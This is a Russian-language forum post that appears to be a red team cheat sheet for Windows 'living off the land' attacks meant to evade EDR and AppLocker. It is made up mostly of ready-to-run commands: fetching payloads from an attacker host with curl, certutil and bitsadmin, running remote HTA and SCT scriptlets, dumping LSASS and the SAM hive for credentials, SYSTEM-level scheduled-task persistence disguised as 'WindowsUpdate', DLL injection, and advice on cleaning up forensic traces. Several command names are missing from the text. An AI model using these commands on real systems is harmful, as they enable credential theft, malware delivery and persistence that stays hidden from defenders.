Справочник для red team операторов и пентестеров, у которых EDR (CrowdStrike Falcon, Defender for Endpoint) прибил весь привычный инструментарий, а доступ к cmd/PowerShell от непривилегированного пользователя - есть. Windows 10/Server 2016+, AppLocker с дефолтными правилами. Знакомая ситуация?
Суть простая: зачем тащить на хост что-то своё, если в самой винде лежит полный набор для загрузки, выполнения и закрепления? Microsoft сама положила всё нужное - мы просто пользуемся - полную карту техник с разбором обхода EDR и пост-эксплуатации собрал в
руководстве по living off the land атакам Windows.
Где не сработает: системы с WDAC в enforce-режиме с кастомными политиками - часть техник не пройдёт. На Server Core без GUI
и
банально отсутствуют - проверяй перед тем, как строить цепочку.
Все команды - из официального проекта LOLBAS. ATT&CK-маппинг указан для каждой техники.
Основные команды
КомандаФлаги / параметрыНазначение / ATT&CK
Код:
-urlcache -split -f http://IP/file.exe C:\Temp\file.exe
Загрузка файла (wget-замена). T1105, T1564.004. Детектируется почти всеми EDR - в 2024+ это ловушка, а не инструмент
Код:
-encode file.exe file.b64
/
Код:
-decode file.b64 file.exe
Base64 encode/decode пейлоада. T1027.013, T1140, T1564.004
Код:
/create job1 && bitsadmin /addfile job1 http://IP/f.exe C:\Temp\f.exe && bitsadmin /resume job1 && bitsadmin /complete job1
Фоновая загрузка через BITS. T1105, T1218, T1564.004. Работает даже при ограниченном outbound
Код:
http://IP/payload.hta
Выполнение удалённого HTA (VBScript/JScript). T1218.005, T1105. Обходит AppLocker по умолчанию
Код:
/s /n /u /i:http://IP/file.sct scrobj.dll
Squiblydoo - загрузка и выполнение SCT-скриптлета. T1218.010. Обход AppLocker
Код:
C:\windows\system32\comsvcs.dll, MiniDump C:\Temp\lsass.dmp full
Дамп LSASS без Mimikatz. T1218.011, T1564.004; T1003.001 (credential access). Требует SeDebugPrivilege
Код:
/q /i http://IP/payload.msi
Тихая установка MSI с удалённого URL. T1218.007
Код:
process call create "cmd /c whoami > C:\Temp\out.txt"
Выполнение команды через WMI. T1047. По LOLBAS: T1105, T1218, T1564.004
Код:
/create /tn "Update" /tr "cmd /c payload.exe" /sc onlogon /ru SYSTEM
Persistence через задачу планировщика. T1053.005
Код:
C:\Temp\payload.csproj
Компиляция и выполнение C# inline. T1127.001, T1036. Обход AppLocker
Код:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll
Выполнение .NET assembly через Uninstall-метод (payload с классом
Код:
[RunInstaller(true)]
, унаследованным от
). T1218.004, T1105. Обход AppLocker. Указывать полный путь к InstallUtil и DLL
Код:
/p C:\Windows\System32 /m notepad.exe /c "cmd /c payload.exe"
Proxy-запуск через forfiles. T1202, T1564.004. Обходит parent-process мониторинг
Код:
/INJECTRUNNING payload.dll
DLL-инъекция в живой процесс. T1218.013. Использовался Mustang Panda (Earth Preta)
Код:
save HKLM\SAM C:\Temp\sam.bak
(+ SYSTEM, SECURITY)Дамп SAM/SYSTEM для офлайн-крека. T1003.002, T1564.004
Код:
/S /I cpassword \\DC\SYSVOL\*.xml
Поиск GPP-паролей в SYSVOL. T1552.001, T1105, T1564.004
Код:
-o C:\Temp\file.exe http://IP/file.exe
Загрузка файла (Win10 1803+, нативный). T1105. EDR-правила на curl менее зрелые, чем на certutil
Частые сценарии
Загрузка пейлоада в обход детекта certutil
в 2024+ - это как кричать «я здесь» в тихом офисе. Каждый уважающий себя EDR на это реагирует. Переключаемся на
(нативный с Win10 1803) или BITS.
Код:
Код:
curl.exe -s -o C:\Windows\Temp\update.exe http://192.168.1.100/beacon.exe
В логах появится
с сетевым соединением - куда менее сигнатурно. А BITS-вариант вообще работает через svchost - ещё тише. Я начинаю с curl, и только если его нет (старые билды) - иду в bitsadmin.
Дамп LSASS без Mimikatz (T1003.001)
Mimikatz заблокирован, а SeDebugPrivilege есть - классика. Используем comsvcs.dll через rundll32. Нужен elevated-контекст (High Integrity Level, не просто членство в Administrators - это частая ошибка).
Важный момент: MDE детектирует сигнатуру
Код:
rundll32 + comsvcs.dll + MiniDump
как
Код:
Behavior:Win32/LsassDump.A
ещё с 2022 года. Если на хосте MDE - этот трюк, скорее всего, уже не тихий. Для тихого дампа стоит посмотреть в сторону PPLFault или NanoDump.
Код:
Код:
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\lsass.dmp full
PID lsass получаем через
Код:
tasklist /fi "imagename eq lsass.exe"
. Дамп забираем офлайн и парсим Mimikatz/pypykatz локально - на хосте ничего не крутим.
Persistence через schtasks без PowerShell (T1053.005)
PowerShell заблокирован или логируется до последней запятой - чистая cmd-persistence.
Код:
Код:
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM /f
Задача стартует от SYSTEM при логоне любого пользователя. Флаг
перезаписывает существующую задачу без промпта. Имя «WindowsUpdate» - банально, но в реальном планировщике среди десятков задач теряется нормально.
Squiblydoo: обход AppLocker через regsvr32 (T1218.010)
AppLocker default rules покрывают EXE/DLL/Script/MSI, но COM-скриптлеты через scrobj.dll - мимо контроля. В этом и фокус Squiblydoo.
Код:
Код:
regsvr32.exe /s /n /u /i:http://192.168.1.100/payload.sct scrobj.dll
SCT-файл содержит JScript/VBScript. На диск ничего не пишет. Работает потому, что AppLocker script rules покрывают только .ps1/.vbs/.js/.cmd/.bat из файловой системы. SCT-скриптлеты, подгружаемые regsvr32 через scrobj.dll из URL, под этот контроль не попадают.
Но есть нюанс (и он существенный): в WDAC с включённым Script Enforcement этот bypass не пройдёт. И большинство современных EDR уже хорошо знают эту технику -
с URL в аргументах = high-confidence alert. Проверяй на стенде перед боевым применением.
Gotchas & подводные камни
Тут собраны грабли, на которые наступают регулярно. Некоторые - очевидные, но именно очевидные вещи забываются в 3 часа ночи на проекте.
- - детектируется практически всеми EDR в 2024+. Последний вариант, не первый. Или для сред вообще без EDR.
- + comsvcs MiniDump - требует
и elevated-контекст (High IL). Из non-elevated cmd даже у local admin - Access Denied. MDE детектирует как
Код:
Behavior:Win32/LsassDump.A
.
- - отсутствует на Server Core и некоторых hardened-образах. Проверяй наличие до включения в цепочку, иначе вся атака рассыпается на первом шаге.
- - deprecated с Windows 10 21H1; на Windows 11 24H2+ и Server 2025 удалён из базовой поставки (доступен как Feature on Demand). На 22H2/23H2 ещё живой. На свежих системах проверяй через
или используй
.
- - целевой процесс должен уже работать (
). Инъекция в PPL-процессы не пройдёт.
- от непривилегированного пользователя - ошибка. Нужны права администратора.
- - в новых версиях Windows логируется через ETW даже без Sysmon. Считай, что SOC это видит.
- - оставляет артефакты в
Код:
%ALLUSERSPROFILE%\Microsoft\Network\Downloader\
. Чисти:
Код:
bitsadmin /list /allusers
+
. Забудешь - форензик найдёт.
- по SYSVOL - работает только если GPP-пароли не удалены (MS14-025). В современных AD - редкость. В legacy-средах (а их больше, чем хочется думать) - регулярно.
- Squiblydoo - хорошо сигнатурирован. Любой
с URL в аргументах = high-confidence alert в большинстве SIEM.
Quick-reference card
ЗадачаКомандаЗагрузка файла
Код:
curl.exe -o C:\Temp\f.exe http://IP/f.exe
Загрузка (альт.)
Код:
certutil -urlcache -split -f http://IP/f.exe C:\Temp\f.exe
Дамп LSASS
Код:
rundll32 comsvcs.dll, MiniDump lsass.dmp full
Выполнение .NET (Uninstall bypass)
Код:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll
Persistence
Код:
schtasks /create /tn "X" /tr "payload.exe" /sc onlogon /ru SYSTEM /f
AppLocker bypass
Код:
regsvr32 /s /n /u /i:http://IP/f.sct scrobj.dll
GPP-пароли
Код:
findstr /S /I cpassword \\DC\SYSVOL\*.xml
DLL-инъекция
Код:
mavinject /INJECTRUNNING payload.dll
Вопрос к читателям
При работе с
Код:
rundll32.exe comsvcs.dll, MiniDump
для дампа LSASS - какой процесс используете как «прокси» для снижения шума в EDR-телеметрии? Часть операторов инжектируется в
перед вызовом, другие работают напрямую из cmd.
Меня интересует конкретика: на каком EDR (CrowdStrike, MDE, SentinelOne) и при каком уровне политики (
vs
) удавалось пройти тихо с прямым вызовом rundll32 без предварительного инжекта? Какой parent process в цепочке оказался наименее триггерным?